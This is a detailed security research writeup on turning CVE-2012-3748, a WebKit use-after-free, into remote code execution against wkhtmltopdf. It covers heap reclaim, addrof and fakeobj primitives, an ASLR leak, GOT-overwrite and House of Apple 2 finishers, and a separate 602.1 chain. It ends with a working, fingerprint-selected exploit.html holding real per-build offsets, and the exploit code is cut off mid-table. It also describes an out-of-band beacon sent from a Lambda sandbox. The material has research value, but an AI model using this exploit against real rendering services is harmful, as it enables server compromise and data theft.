wkhtmltopdf

Services that turn attacker-controlled HTML into a PDF, a screenshot, or a rendered report embed a browser engine, and any <script> in the submitted page runs inside it. When that engine is old and frozen, a memory-corruption bug in it turns "render this document" into code execution in the render process, delivered as ordinary JavaScript in the page.

wkhtmltopdf, the HTML-to-PDF converter behind a great deal of server-side PDF generation, is a clean instance. It bundles WebKit 534.34, branched from trunk in May 2011 and untouched since. This post turns a 2012 use-after-free in that engine into a single HTML file that reaches code execution on a stock install, under full ASLR, with no special render flags, across a wide spread of real deployments: Partial and Full RELRO, five glibc versions, non-PIE and PIE builds, both the PDF and image front-ends, and native macOS, all selected by one runtime fingerprint.

Two parts of getting there are worth keeping in the writeup rather than sanding out: a wall that turned out not to exist, and a "correct" approach I threw away for a cruder one that actually survived the exploit's own fragility. I worked through it with Claude (Opus).

Phase 0: Reconnaissance

wkhtmltopdf renders HTML to PDF using a bundled copy of Qt's WebKit. It is widely used for server-side PDF generation: invoices, reports, statements, tickets, and exports. It ships as prebuilt packages for every major distribution, and it is the binary underneath common language wrappers such as Python's pdfkit, Ruby's wicked_pdf, PHP's Knp\Snappy, and django-wkhtmltopdf. The most-pulled Docker images that package it have millions of pulls each. Development stopped and the project was archived in early 2023, so a pinned install runs the same code indefinitely.

There are two builds, and the install method determines which engine you get. The distribution package (apt install wkhtmltopdf on Debian/Ubuntu) is a thin wrapper that links the system's Qt5 WebKit. The official "with patched qt" build from wkhtmltopdf.org is a ~50 MB monolith that statically bundles a patched Qt 4.8.7. These are two different browsers:

# apt package, Debian bookworm
$ wkhtmltopdf --version # 0.12.6
$ ldd $(which wkhtmltopdf) | grep -i webkit
libQt5WebKit.so.5 ... # AppleWebKit/602.1, a 2016 engine, patched
# official "with patched qt" build
$ wkhtmltopdf --version # 0.12.6.1 (with patched qt)
$ printf '<script>document.title=navigator.userAgent</script>' | wkhtmltopdf - out.pdf
... AppleWebKit/534.34 (KHTML, like Gecko) ... # QtWebKit 2.2, May 2011
wkhtmltopdf apt install Qt5 WebKit 602.1 2016, links system libQt5WebKit.so.5 a newer engine, its own bugs wkhtmltopdf.org (with patched qt) WebKit 534.34 May 2011, static in a ~50 MB binary CVE-2012-3748, the target here
wkhtmltopdf ships as two different browsers. The apt package links a 2016 Qt5 WebKit; the official "with patched qt" download statically bundles WebKit 534.34 from 2011. This post targets the latter, and navigator.userAgent tells them apart at runtime.

The distribution build is not vulnerable to what follows, and its newer engine is not therefore safe; it is exploitable in a different way, taken up later. wkhtmltopdf.org recommends the patched build anyway, because the distribution one drops features like headers, footers, and forms, so the population that actually needs wkhtmltopdf is almost entirely on the patched build. Every 0.12.x release of it (0.12.5, 0.12.6, 0.12.6.1) reports the same 534.34 engine, and that build is the target of everything up to the last section.

Two properties of that build shape the whole exploit:

  • The JIT is disabled (-no-javascript-jit). There are no writable-executable JIT pages to write shellcode into, so the payload must be data-only, with no injected machine code.
  • JavaScript is on by default. wkhtmltopdf executes <script> in submitted pages unless --disable-javascript is passed, and none of the common wrappers pass it.

The bug

The engine's age cuts both ways: it sits far enough back that it predates most of what modern JavaScriptCore exploitation leans on, but also some of the bugs worth reaching for. The CSS-engine heap overflow of CVE-2014-1303 is the obvious example: it lives in an indexed RuleData structure WebKit did not add until Q3 2012, over a year after this branch, so it is not present at all. A decade-old product does not carry every decade-old bug, and the engine has to be dated precisely rather than just called ancient.

The bug that fits is CVE-2012-3748, a use-after-free in JSArray::sort that Chris Evans demonstrated against QtWebKit 2.2.1 in 2012, on the same engine family and only weeks apart in source history. It sits in JavaScriptCore rather than the CSS engine, so it needs no particular DOM state, and, as the next sections show, it yields both halves of a read/write primitive from the single flaw. Pinning the exact branch (wk_4.8.7, trunk r85855) and matching it to the CVE was the first real work: the public material is all for sibling engines a few thousand revisions in either direction, and none of the offsets survive the gap.

Phase 1: From a crash to a mechanism

The bug reproduces on contact. A comparator that mutates the array under sort gives a deterministic SIGSEGV, five runs out of five, on the real 0.12.6.1 binary. The public reference exploit (exploit-db 28081) targets WebKit 536.25, a sibling about a year newer, and porting it directly crashes in the wrong place: 534.34's ArrayStorage uses a 0x28-byte header where the reference assumes a different one. That mismatch is also the tell that this is not the simple adjacency overwrite the reference treats it as.

Rather than reverse-engineer the layout blind, I pulled the fork's actual source (JavaScriptCore/runtime/JSArray.cpp at wk_4.8.7). sort caches a pointer to the array's backing store (ArrayStorage) before calling the user comparator. If the comparator reallocates that backing, and shift() and splice() both do, by relocating the storage, sort keeps writing through the stale pointer. The source makes the condition exact: m_storage is reloaded after the comparator only on a path guarded by m_sparseValueMap; leave that map null and the common path writes back through freed memory. Reading the source turned a crash into a mechanism and pinned the one field the reclaim has to keep null.

JSArray::sort() caches m_storage ArrayStorage (a1's backing) freed · 0x190 Uint32Array(100) backing attacker bytes · 0x190, reclaims it shift()/splice() stale pointer
CVE-2012-3748. sort caches the storage pointer at entry; the comparator's shift()/splice() frees that chunk, which a Uint32Array(100) backing we control then reclaims. The write-back runs through the stale pointer into the attacker buffer.

Phase 2: Two primitives from one bug

The stale pointer is not a read/write on its own. It becomes one because two different parts of sort touch the freed storage, and each can be steered from JavaScript.

Before the write-back, sort builds a tree of the array's elements, and that tree-build loop reads each storage->m_vector[i] and hands it to the comparator as an argument. Free the storage early, reclaim it with bytes I choose, and the comparator is invoked with those bytes interpreted as JavaScript values. The write-back pass is the mirror image: it writes the sorted values, which I also control, back into storage->m_vector[i]; if the storage has been reclaimed by an object I can read afterward, I learn where a value landed.

Reclaiming the freed chunk cleanly is the whole game, and the engine's age is what makes it clean. This is pre-butterfly JavaScriptCore: NaN-boxed 64-bit values, an ArrayStorage with a 0x28-byte header, and, the detail that matters most, typed-array backing stores drawn from the same WTF::fastMalloc allocator as array storage. The freed ArrayStorage for a 33-element array rounds up to 0x190 bytes; a Uint32Array(100) backing store is exactly 0x190 bytes, and tryFastCalloc zero-fills it, which keeps m_sparseValueMap (at +0x08) null and holds the exploit on the stale path. Spraying those typed arrays inside the comparator, right after the shift() that frees the chunk, drops one onto it.

That yields both primitives from the single bug:

  • addrof: the write-back deposits a chosen object's address into the reclaimed backing; reading the typed array back as u32 pairs returns that address as a number.
  • fakeobj: a raw pointer-shaped value planted in the backing, read by the tree-build loop, hands the comparator a "JavaScript object" at an address I picked.
reclaimed chunk I read & write it fakeobj address → object raw address A bytes I choose I write A in tree-build reads object at A given to the comparator real object O placed in the array write-back writes I read it back address of O a number in JS addrof object → address blue is my access, grey is the sort's: I read what it writes, and it reads what I write
Both primitives come from the one reclaimed chunk, running in opposite directions. For addrof the sort's write-back deposits a real object's address and I read it back out; for fakeobj I write a raw address in and the sort's tree-build hands it to the comparator as an object. addrof turns an object into an address, fakeobj an address into an object.

Both held across runs under live ASLR from the first working build, and addrof returned a valid heap pointer on the first test. The reclaim is deterministic because fastMalloc's size classes are engine code, identical on every build and platform rather than something the OS or libc has a say in.

Phase 3: Arbitrary read/write

addrof and fakeobj compose into arbitrary read/write in the usual way: forge a fake Uint32Array in a buffer I control, fakeobj a pointer to it, and drive its elements. A typed-array read compiles to *(m_baseAddress + 4·i), so owning m_baseAddress means every fa[i] reads or writes wherever I point it. The forge is three objects, laid out in a real typed array's backing whose address addrof gives me:

wrapper cell:   +0x00 vtable      +0x08 structure     +0x30 impl
fake impl: +0x00 vtable +0x10 m_baseAddress +0x28 m_length
fake structure: +0x00 vtable +0x10 typeInfo=0xa008 +0x40 classInfo
wrapper cell +0x00vtable +0x08structure +0x30m_impl fake structure +0x00vtable +0x10typeInfo = 0xa008only field checked +0x40classInfo fake impl +0x00vtable +0x10m_baseAddress +0x28m_length TARGET any address
The forged Uint32Array, built in a buffer we control. fakeobj returns the wrapper cell; the structure only needs typeInfo = 0xa008 to pass the read path's type check. Each fa[i] reads or writes *(m_baseAddress + 4·i), and m_baseAddress is a single field we repoint to any address.

This step cost the most time, and not for mechanical reasons. An early version crashed the instant the fake view was used, and I read the crash as a missing ingredient: the fake Structure seemed to need a real, leaked Structure pointer, and obtaining one seemed to require several fragile sparse-map reads chained inside a single comparator call, which corrupted the heap. I spent a long stretch convinced there was a hard "one nested read per comparator" budget and building ways around it.

There was no wall. The corruption I kept measuring was an artifact of the instrumentation, a garbage-collection pass and WebKit's slow-script watchdog firing during the long instrumented runs, not the reads themselves. And the structure never needed to be real. The read path checks exactly one field, typeInfo at structure+0x10: set its low byte to 0x08 (ObjectType, which passes the isString check the read routes through) and the structure's own vtable and class-info can be zero. Every field the forge needs derives from the module base, and the whole thing builds and fires inside a single comparator. Writing m_baseAddress and reading fa[0] is then an arbitrary read, writing fa[0] an arbitrary write, and re-pointing is one field write, so it is a movable window over the entire address space.

The takeaway worth keeping: when a corruption primitive "fails," rule out the measurement before redesigning the primitive. I rebuilt this one three times around a wall my own instrumentation had constructed.

Phase 4: Defeating ASLR, then choosing not to resolve it

Every address the forge uses is randomized per run, and the exploit leaks all of them from inside the page, with no /proc and nothing external. (/proc/self/maps is a dead end on this target regardless: the file stats as zero length, so an in-page file:// read of it comes back empty, which quietly removes the usual first move.)

The chain is short. addrof the target array, recover its impl pointer with a deliberately misaligned sparse-map read (the misalignment turns a NaN-boxed field into a plain double whose two halves are the raw pointer), then read two fields off the impl:

  • module base: the impl carries a C++ vtable pointer into the module, and the module is page-aligned, so impl_vt - IMPLVT is the base.
  • backing store: at impl + 0x10, the buffer where the forge is assembled.

This is the most heap-state-sensitive part of the exploit, but it is entirely self-contained, and no hardcoded address survives in the final file.

Uint32Array controlled object addrof +sparse read impl +0x00vtable +0x10m_baseAddress backing store the forge buffer wkhtmltopdf module (mapped image) base base + IMPLVT module base = vtable − IMPLVT
Defeating ASLR from inside the page. addrof plus a sparse-map read recover the typed array's impl; its vtable is a pointer into the module (module base = vtable − IMPLVT), and m_baseAddress gives the backing store where the forge is assembled.

Once arbitrary read exists, libc is one more step: reading a resolved external-function pointer (the getenv GOT slot) gives libc's base. This is where I took the wrong road first. The reflex is to resolve libc symbols dynamically, parse the module's ELF, walk the GNU_HASH table, and find system by name, and I built exactly that; the logic is right and it recovers the correct offsets. But the fake-object read/write is single-shot fragile. It survives a handful of reads and starts returning zeros over the roughly thousand a symbol walk needs, and every attempt to harden it (a master/slave pair of real typed arrays, or periodic re-forging) disturbs the same heap state the leak depends on. A robust primitive and a sustained-read primitive turned out to be mutually exclusive.

The fix was to stop resolving and start identifying. The exploit does not need libc's symbol table; it needs one number, the offset of system, and that number is fixed per glibc version. The low twelve bits of the leaked getenv address are its page offset, which ASLR leaves alone, so they fingerprint the glibc build. A small table keyed on getenv & 0xfff selects the right offsets in a single read, with none of the fragility. Trading "resolve everything" for a page-offset fingerprint is what made the payload portable, and the same trick returns for build portability later.

Phase 5: The finisher, and the RELRO wall

With arbitrary read/write and a libc base, the textbook data-only finisher for a JIT-less target is a single write. wkhtmltopdf's date parser calls strtol on the string handed to new Date(...), so overwriting the strtol slot in the binary's GOT with system turns new Date("id > /tmp/pwn") into system("id > /tmp/pwn").

It works on the older packages. The docker-era monolithic build is Partial RELRO, its .got.plt writable, and the overwrite lands. The current official CLI does not cooperate: the jammy and bookworm 0.12.6.1-3 builds are compiled Full RELRO (BIND_NOW), so the GOT is read-only by the time the payload runs and the final write faults. The RELRO posture is the whole difference:

docker wk.bin (0.12.6.1 monolithic):   Partial RELRO  -> GOT writable   (overwrite works)
jammy /usr/local/bin/wkhtmltopdf: Full RELRO -> GOT read-only (overwrite faults)
jammy libwkhtmltox.so (the shared lib): Partial RELRO -> GOT writable

Everything up to that write succeeded, so the bug and the primitive are intact on the current package; only the finisher is blocked, and only on the standalone binary. The shared library that most wrapper libraries actually load is still Partial RELRO. But a finisher that works only on the old or library builds is not good enough, so the payload has to leave the GOT alone.

House of Apple 2

The GOT is not the only writable code pointer an arbitrary write can reach. glibc's stdio keeps function pointers in every FILE's vtable, exercised on each flush. House of Apple 2 is the standard FSOP (file-stream-oriented programming) technique against modern glibc: point a FILE's vtable at the real _IO_wfile_jumps (a legitimate libc vtable, so it passes glibc's vtable-range check), then set the wide-data fields so the overflow path resolves a pointer glibc does not check:

_IO_OVERFLOW(fp) -> _IO_wfile_overflow -> _IO_wdoallocbuf
-> _IO_WDOALLOCATE = (*(fp->_wide_data->_wide_vtable + 0x68))(fp)

Put system in that slot and the command string at fp itself (offset 0, the _flags field, with two leading spaces so the flag bits stay clear), and the flush calls system(fp) with the command as its argument. The whole thing is data, a real glibc vtable plus a fake wide-vtable that glibc never range-checks, so RELRO does not touch it. It gives five shells out of five on the Full-RELRO CLI under full ASLR, and the getenv & 0xfff fingerprint from the previous phase supplies the system, _IO_2_1_stderr_, and _IO_wfile_jumps offsets it needs.

corrupted FILE (_IO_2_1_stderr_) +0x00_flags = " id>/tmp/out" +0xa0_wide_data +0xd8vtable fake _wide_data +0xe0_wide_vtable fake vtable +0x68system _IO_wfile_jumps (real libc vtable, passes check) system(fp)
House of Apple 2 on the corrupted stderr FILE. vtable points at the real _IO_wfile_jumps so glibc's vtable-range check passes, but the overflow path follows the unchecked _wide_data → _wide_vtable → +0x68 to system, called with fp itself, whose _flags hold the command.

Firing it in-page

House of Apple 2 normally fires when the process flushes stdio at exit, and this exploit cannot wait for exit: the leak's final read deliberately corrupts a hash map, and the sort unwinds into a crash before any clean shutdown. The payload has to run during the JavaScript. (The GOT path had the same constraint, which is why it fired inline through new Date rather than an at-exit hook.)

The first trigger that worked was alert(). wkhtmltopdf writes JavaScript alerts to stderr synchronously (Warning: Javascript alert: ...), stderr is unbuffered, so the write runs straight through the corrupted FILE and fires the chain. That held until I ran the exploit through pdfkit rather than the CLI, and it did nothing at all. pdfkit passes --quiet by default, which silences every stderr write wkhtmltopdf makes, the alert line included, and the trigger went silent with it.

A trigger that depends on the caller's flags is not a trigger. The fix leans on the same fact the rest of the exploit does: in WebKit 534.34, property access still dispatches through a cell's C++ vtable. After corrupting the FILE, I point the fake view's own vtable at a small table of _IO_flush_all pointers and read a property off it. _IO_flush_all ignores its argument, walks the stdio list, flushes the corrupted stream, and runs the payload. It fires whether the caller passes --quiet, --debug-javascript, or nothing, which is the version that survives contact with real library wrappers.

Phase 6: One file, every target

Everything up to the finisher is shared across builds and platforms: the reclaim, addrof, fakeobj, the forge, the leak, and the read of the getenv pointer (a GOT slot on Linux, a lazy pointer on macOS). Only the last few lines branch, and the branch is chosen by a fingerprint. impl_vt & 0xfff is an ASLR-invariant page offset that names the exact build, and each build carries its own row of vtable and class-info offsets plus, on Linux, the RELRO posture and glibc that pick the finisher:

impl_vt & 0xfff build finisher
0xfa8 / 0x228 official 0.12.6.1 monolith, pdf / image GOT overwrite (Partial RELRO)
0x7e8 / 0xa68 Ubuntu jammy CLI, pdf / image House of Apple 2 FSOP (Full RELRO)
0xf28 Debian bookworm and trixie CLI, pdf House of Apple 2 FSOP
0xa90 / 0xba8 CentOS 7 and Amazon Linux 2 RPM, pdf GOT overwrite (non-PIE)
0x968 macOS Mach-O x86-64, pdf __la_symbol_ptr overwrite

The glibc row is a second, independent fingerprint (getenv & 0xfff from Phase 4), so one build row plus one glibc row covers a given deployment. Adding a distribution is those two rows, both pulled mechanically from the binary and its libc. The exploit needs no render flags: it is synchronous and fires before the page finishes loading, so --javascript-delay, --enable-local-file-access, and --enable-javascript (on by default) are all irrelevant to it.

The non-PIE builds: Amazon Linux and Lambda

The wkhtmltopdf.org packages for CentOS, RHEL, and Amazon Linux (the amazonlinux2 RPM) are compiled non-PIE, loaded at a fixed base of 0x400000. That is also the binary you would bundle for AWS Lambda, whose Python 3.9 to 3.11 runtimes run on Amazon Linux 2 (glibc 2.26), so a Lambda that turns attacker HTML into a PDF with pdfkit is the same target on a non-PIE build.

Non-PIE breaks the shared leak. On a PIE build the module pointers are high (0x55…, 0x7f…); here the impl's vtable is low, around 0x2999a90. The leak reads that vtable as one of its values, and JSC's sort runs an isString check on it, dereferencing it as a cell ([value+8] for the structure, [structure+0x10] for the type), which faults on the low address. The high PIE values happened to land in mapped memory; the low ones do not.

The fix is a variant, not a new primitive. The base is fixed, so the module base is known without leaking the vtable at all: the leak reads only the high, safe backing pointer and computes the rest.

// non-PIE (CentOS 7 / RHEL / Amazon Linux): base is fixed, so never read the low vtable
var vs = read2(impl+6, TV, 1); // backing only; skips the vtable that crashes isString
var backing = vs[0] || 0;
var Mb = 0x400000, impl_vt = Mb + IMPLVT; // module base fixed; impl_vt computed, not leaked

readelf -r reports the GOT addresses as absolute on a non-PIE binary, so they get the 0x400000 base subtracted to become the module-relative offsets the exploit uses. The finisher gets simpler: this build is only Partial RELRO, so the payload reverts to the GOT overwrite (the strtol slot to system, fired by new Date), which carries no command-length limit. That limit matters on Lambda, because /tmp never leaves the sandbox, so the result has to. The managed Python runtime is stripped far enough that neither id nor curl is present, so the payload uses the one interpreter guaranteed to be there: it reads its identity with os.getuid() and posts it with urllib, invoking python3 by absolute path since the shell system() spawns has no reason to carry /var/lang/bin on its PATH. Pointed at a real function it runs as the sandbox user and beacons uid=993 gid=990 … back out of band.

macOS: a different libc, a simpler finisher

The official macOS build is a Mach-O x86-64 binary reporting the same AppleWebKit/534.34. The bug is present, and every JavaScript-level primitive (addrof, the sparse-map leak, fakeobj, the forged view) is engine code, so they port unchanged. What does not port is everything below libc: macOS has no glibc FILE vtable, no _IO_wfile_jumps, no House of Apple.

None is needed. Mach-O has no BIND_NOW equivalent that seals the lazy symbol pointers, and __DATA,__la_symbol_ptr is writable, which puts macOS in the Partial-RELRO position rather than the Full one. So the macOS finisher is the GOT-style overwrite the Linux CLI could no longer use: read the resolved _getenv lazy pointer to leak libSystem, compute system = getenv_addr + delta (the fixed distance between the two functions in libsystem_c), overwrite the _strtol lazy pointer with system, and fire new Date("id > /tmp/pwn"). Because the command reaches system as a real JavaScript string, there is no length limit and no in-FILE buffer to pack. It works natively under macOS ASLR, as the invoking user.

Two front-ends, one fingerprint collision

wkhtmltopdf and wkhtmltoimage are separate binaries even at the same version, linked independently, so their offsets differ and each front-end needs its own row. Usually the impl_vt & 0xfff fingerprint keeps them apart. On the non-PIE CentOS build it does not: the two front-ends place their vtables exactly 0xe000 apart, a whole number of pages, so the low twelve bits collide and both fingerprint 0x9e8. Because the base is fixed on non-PIE, the full impl_vt is known and stable, so the tiebreaker is just a wider slice of it. impl_vt & 0xffff differs between the two (0xe9e8 for the pdf, 0x09e8 for the image) and selects the right row. It is a one-line split, with the pdf left as the default so a wrong guess can never regress the more common target.

two separate binaries, their vtables 0xe000 apart differs wkhtmltopdf 0x 24f e 9e8 wkhtmltoimage 0x 24f 0 9e8 & 0xfff = 0x9e8 — same on both & 0xffff — distinct (0xe9e8 vs 0x09e8) non-PIE fixes the base, so the wider slice is stable enough to split on
Why the two front-ends collide and how the split resolves it. Their vtables sit exactly 0xe000 apart, so impl_vt & 0xfff is the same on both (0x9e8); widening the mask by one nibble to impl_vt & 0xffff separates them, and because the non-PIE base is fixed, that wider slice is stable enough to key on.

Finding the offsets

Every per-build row is pulled from the binary, not guessed. The vtable and class-info offsets come out of a core dump: a small probe leaks a live wrapper object behind a marker, the process is cored (gdb on Linux, lldb saving a dirty-memory core on the Rosetta-translated macOS process), and the marker is walked to recover the four offsets relative to the module base. The GOT slots come straight from readelf; the glibc offsets from the target's own libc. None of that touches the exploit's own ASLR handling, which only ever uses the page-offset fingerprints, so a new distribution is a couple of readelf and core-scan commands and two pasted rows.

Phase 7: The other engine

The distribution package runs a newer WebKit, and a newer unmaintained engine is not a safer one. apt's wkhtmltopdf links Qt5 WebKit 602.1: Safari 10, September 2016, never back-patched. That engine has its own well-worn chain, three JavaScriptCore bugs (CVE-2017-2547, an FTL out-of-bounds addrof; CVE-2017-7005, fakeobj; and CVE-2018-4416, an m_vector leak) that combine into arbitrary read/write and a data-only setcontext/execve payload. It is the same 602.1 that ships in Splash, which I've written up separately, so the JavaScript-level offsets (object layouts, structure IDs, the payload's fake-object walk) carry straight over and only the build-specific addresses change. Re-deriving those took five constants and produced a root shell on the distribution build, six times out of six, under full ASLR.

Two of the five are the kind of version-delta a straight copy trips over. The libc leak first read libQt5WebKit's malloc GOT slot, but WebKit's WTF FastMalloc interposes malloc, so that slot resolves back into libQt5WebKit rather than libc; the leak has to use a function WebKit does not reimplement, and getenv works. And glibc 2.35's setcontext runs fldenv on the context's fpregs pointer unconditionally, so the payload has to supply a valid one where the older glibc tolerated null.

So there is no non-vulnerable wkhtmltopdf engine to switch to. The patched-qt build has a 2011 use-after-free; the distribution build that avoids it carries the 2016 engine's bugs instead.

Proof of concept

The complete exploit is one self-contained HTML file that adapts to whatever engine it lands on. It reads navigator.userAgent and dispatches: AppleWebKit/534.34 runs the CVE-2012-3748 exploit built above, with its build, glibc, and platform fingerprint tables; AppleWebKit/602.1 runs the 602.1 chain from Phase 7. Each branch leaks its own addresses at runtime, so nothing is hardcoded, and the two live in separate functions so their identically-named primitives never collide and only the matched engine runs.

navigator.userAgent run534() CVE-2012-3748 · sort UAF Linux → House of Apple 2 FSOP macOS → __la_symbol_ptr overwrite run602() CVE-2017-2547 / -7005 / 2018-4416 setcontext → execve AppleWebKit/534.34 AppleWebKit/602.1
One file, two engines. navigator.userAgent selects run534 (WebKit 534.34, this post's bug) or run602 (WebKit 602.1, a separate chain of three bugs); each then leaks its own addresses and finishes in the way that build allows.
exploit.html download
<html><body><script>
var CMD="id>/tmp/pwn 2>&1";
/* Engine-adaptive test page. Dispatches on navigator.userAgent to the matching
* handler for the two WebKit builds wkhtmltopdf ships. Drops `id` to /tmp/pwn. */
var ua = navigator.userAgent;
if (ua.indexOf("AppleWebKit/534.34") !== -1) run534();
else if (ua.indexOf("AppleWebKit/602.1") !== -1) run602();

/* ---------------- WebKit 534.34 (patched-qt builds) ---------------- */
function run534(){
/* ============================================================================
* WebKit 534.34 / QtWebKit 2.2 handler, CVE-2012-3748
* JSArray::sort stale-ArrayStorage use-after-free.
* Self-contained, no network, full ASLR defeated (every address leaked live),
* JIT-off / data-only. Self-selects across every shipped build at runtime:
* BUILD : impl_vt & 0xfff -> offset row (BUILD TABLE, below)
* glibc : getenv & 0xfff -> FSOP libc offs (po TABLE, below)
* and picks one of three finishers per build:
* GOT : strtol@GOT -> system, fired by new Date() (Partial-RELRO PIE)
* FSOP : House-of-Apple-2 on _IO_2_1_stderr_; pure-JS (non-PIE + Full-RELRO)
* trigger (fa.x0 -> _IO_flush_all), alert() only on glibc 2.35
* lazyptr: _strtol __la_symbol_ptr -> system (macOS Mach-O)
* Verified: centos7/amazonlinux2/native/jammy/bookworm/trixie/CentOS-9/macOS,
* both wkhtmltopdf & wkhtmltoimage, glibc 2.17–2.41, full ASLR, no debugger.
* Full target matrix + porting recipe: TARGETS.md. (do not hand-edit offsets)
* ==========================================================================*/
var _gc=[];
function lo32(a){return (a%0x100000000)>>>0;} function hi32(a){return Math.floor(a/0x100000000)>>>0;}
function L(a){return lo32(a);} function H(a){return hi32(a);}
var _dv=new DataView(new ArrayBuffer(8));
function d2u(d){_dv.setFloat64(0,d,true); return [_dv.getUint32(0,true)>>>0,_dv.getUint32(4,true)>>>0];}
function fullptr(dbl){ var r=d2u(dbl); var qh=(r[1]+0x10000)>>>0, ql=r[0]>>>0;
var phi=qh>>>16; var plo=(((ql>>>16)|((qh&0xffff)<<16))>>>0); return phi*0x100000000+plo; }
function addrof(t){
var vw=[]; var a1=[]; for(var i=0;i<32;i++) a1[i]=t; a1[32]=0x41410000; _gc.push(a1,vw); var did=false;
a1.sort(function(x,y){ if(!did&&(x===0x41410000||y===0x41410000)){did=true; for(var g=0;g<4096;g++)a1.push(g);
for(var q=0;q<2000;q++){var v=new Uint32Array(100);v[0]=0x7abc0000+q;vw.push(v);}} return 0;});
var c={},b=null,bn=0; for(var i=0;i<vw.length;i++){var v=vw[i];
for(var k=0;k+1<v.length;k++){var lo=v[k]>>>0,hi=v[k+1]>>>0;
if(hi>0&&hi<0x10000&&lo>0&&(lo>>>16)!==0x7abc){var key=hi+":"+lo;c[key]=(c[key]||0)+1;
if(c[key]>bn){bn=c[key];b=[lo,hi];}}}} return b?(b[1]*0x100000000+b[0]):0;
}
function mkmapN(Tlo,Thi,N){var a=new Array(183);
a[0]=Tlo&0xffff;a[1]=(Tlo>>>16)&0xffff;a[2]=Thi&0xffff;a[3]=(Thi>>>16)&0xffff;
a[4]=N&0xffff;a[5]=0;a[6]=0;a[7]=0;a[8]=N&0xffff;a[9]=0;a[10]=0;a[11]=0;for(var i=12;i<183;i++)a[i]=0;
return String.fromCharCode.apply(null,a);}
// Leak qwords at *mt via a fake sparse HashTable planted mid-sort.
// raw falsy -> recovered pointers (fullptr math, consecutive-deduped) [the leaks]
// raw truthy -> raw high-dwords (full-deduped, no ptr math) [the fp read only]
// The captured doubles are identical either way; only the post-processing differs.
function read2(mt,keeper,N,raw){
var lo=lo32(mt),hi=hi32(mt),cap=[];
var a1=[];for(var i=0;i<28;i++)a1[i]=keeper;a1[28]=0x41410000;a1[29]=keeper;a1[30]=keeper;a1[31]=keeper;a1[32]=keeper;_gc.push(a1,cap);
var did=false;
a1.sort(function(x,y){if(!did&&(x===0x41410000||y===0x41410000)){did=true;for(var g=0;g<4096;g++)a1.push(g);
var s=[];for(var q=0;q<1500;q++)s.push(mkmapN(lo,hi,N));_gc.push(s);}
else if(did){var V=null;if(x!==keeper&&x!==0x41410000)V=x;else if(y!==keeper&&y!==0x41410000)V=y;
if(V!==null&&typeof V==="number")cap.push(V);}return 0;});
if(raw){ var r=[]; for(var ii=0;ii<cap.length;ii++){ var hh=d2u(cap[ii])[1]>>>0,f=false;
for(var m=0;m<r.length;m++)if(r[m]===hh)f=true; if(!f)r.push(hh); } return r; }
var d=[]; for(var ii=0;ii<cap.length;ii++){ var p=fullptr(cap[ii]); if(d.length===0||d[d.length-1]!==p)d.push(p); } return d;
}
function fakeobj(xlo,xhi){
var vw=[], cap=[]; var probe={m:1};
var a1=[]; a1[0]=probe; a1[1]=0x41410000; for(var i=2;i<33;i++) a1[i]=probe; _gc.push(a1,vw,cap);
var did=false;
a1.sort(function(x,y){ if(!did&&(x===0x41410000||y===0x41410000)){did=true;
for(var g=0;g<4096;g++) a1.push(g);
for(var q=0;q<2000;q++){var v=new Uint32Array(100); for(var t=10;t<100;t+=2){v[t]=xlo;v[t+1]=xhi;} vw.push(v);}}
else if(did){ if(x!==probe&&x!==0x41410000&&typeof x==="object"&&x!==null)cap.push(x);
else if(y!==probe&&y!==0x41410000&&typeof y==="object"&&y!==null)cap.push(y);} return 0;});
return cap.length?cap[0]:null;
}
var TV=new Uint32Array(0x140); for(var i=0;i<0x140;i++) TV[i]=0; _gc.push(TV); // 0x500-byte backing, zeroed
// RES[] = gdb-only diagnostic channel (irrelevant to popping; inspect after a crash to see
// how far we got): [0]=0xF00D0000 magic [3]=0xF00D0001 when finisher reached [8..9]=impl
// [10..13]=Mb,backing [16]=stage reached (1..7) [17]=fakeobj ok [27]=po [28]=fpwk.
var RES=new Uint32Array(0x20); RES[0]=0xF00D0000; RES[3]=0; _gc.push(RES);
var Atv=addrof(TV), Ahi=hi32(Atv);
var M0=Atv+0x24, olo=lo32(M0), ohi=hi32(M0), did=false, done=false;
var a1=[];for(var i=0;i<28;i++)a1[i]=TV;a1[28]=0x41410000;a1[29]=TV;a1[30]=TV;a1[31]=TV;a1[32]=TV;_gc.push(a1);
a1.sort(function(x,y){
if(!did&&(x===0x41410000||y===0x41410000)){did=true;for(var g=0;g<4096;g++)a1.push(g);
var s=[];for(var q=0;q<1500;q++)s.push(mkmapN(olo,ohi,6));_gc.push(s);}
else if(did){
var V=null; if(x!==TV&&x!==0x41410000&&typeof x==="number")V=x; else if(y!==TV&&y!==0x41410000&&typeof y==="number")V=y;
if(V!==null && !done){ done=true;
var impl=Ahi*0x100000000+((d2u(V)[1]+0x10000)>>>0);
RES[8]=L(impl);RES[9]=H(impl);RES[16]=1;
var isMac=/Mac/.test(navigator.platform);
var IMPLVT=0,WRAPVT=0,STVT=0,CINFO=0,STGOT=0,GEGOT=0,PIE=0,useGOT=0,fpwk=0,os="linux",STRTOLP=0,DELTA=0,impl_vt=0,backing=0,Mb=0;
if(isMac){
// macOS Mach-O: read2(impl-0xa,2) leak (the raw fp read corrupts macOS malloc); _strtol lazy-ptr finisher
var vsm=read2(impl-0xa, TV, 2); impl_vt=vsm.length>=1?vsm[0]:0; backing=vsm.length>=2?vsm[vsm.length-1]:0;
fpwk=impl_vt&0xfff; os="macos"; PIE=1;
IMPLVT=0x24ad968;WRAPVT=0x253e390;STVT=0x24543b0;CINFO=0x253e360;GEGOT=0x24429f8;STRTOLP=0x2442fe8;DELTA=0x7c3b9; // wkhtmltopdf 0.12.6 macOS (fpwk 0x968)
Mb=impl_vt-IMPLVT;
} else {
var rr=read2(impl-0x1c, TV, 3, 1); // Linux fp read (raw; PIE-benign mt; safe on PIE + non-PIE)
for(var fi=0;fi<rr.length;fi++){ var _c=rr[fi]&0xfff;
if(_c===0xa90){ IMPLVT=0x2599a90;WRAPVT=0x255e870;STVT=0x2437e10;CINFO=0x255ea00;STGOT=0x260c7e0;GEGOT=0x260d2a8;PIE=0;useGOT=1;fpwk=_c;break; } // centos7 pdf RPM (non-PIE, GOT)
else if(_c===0xba8){ IMPLVT=0x25f9ba8;WRAPVT=0x2711b90;STVT=0x261cfc0;CINFO=0x2711d20;STGOT=0x279a7c8;GEGOT=0x279b270;PIE=0;useGOT=1;fpwk=_c;break; } // amazonlinux2 pdf RPM (non-PIE, GOT)
else if(_c===0xfa8){ IMPLVT=0x294dfa8;WRAPVT=0x2a67950;STVT=0x2972d60;CINFO=0x2a67ae0;STGOT=0x2af0858;GEGOT=0x2af1260;PIE=1;useGOT=1;fpwk=_c;break; } // native 0.12.6.1 pdf (PIE, GOT)
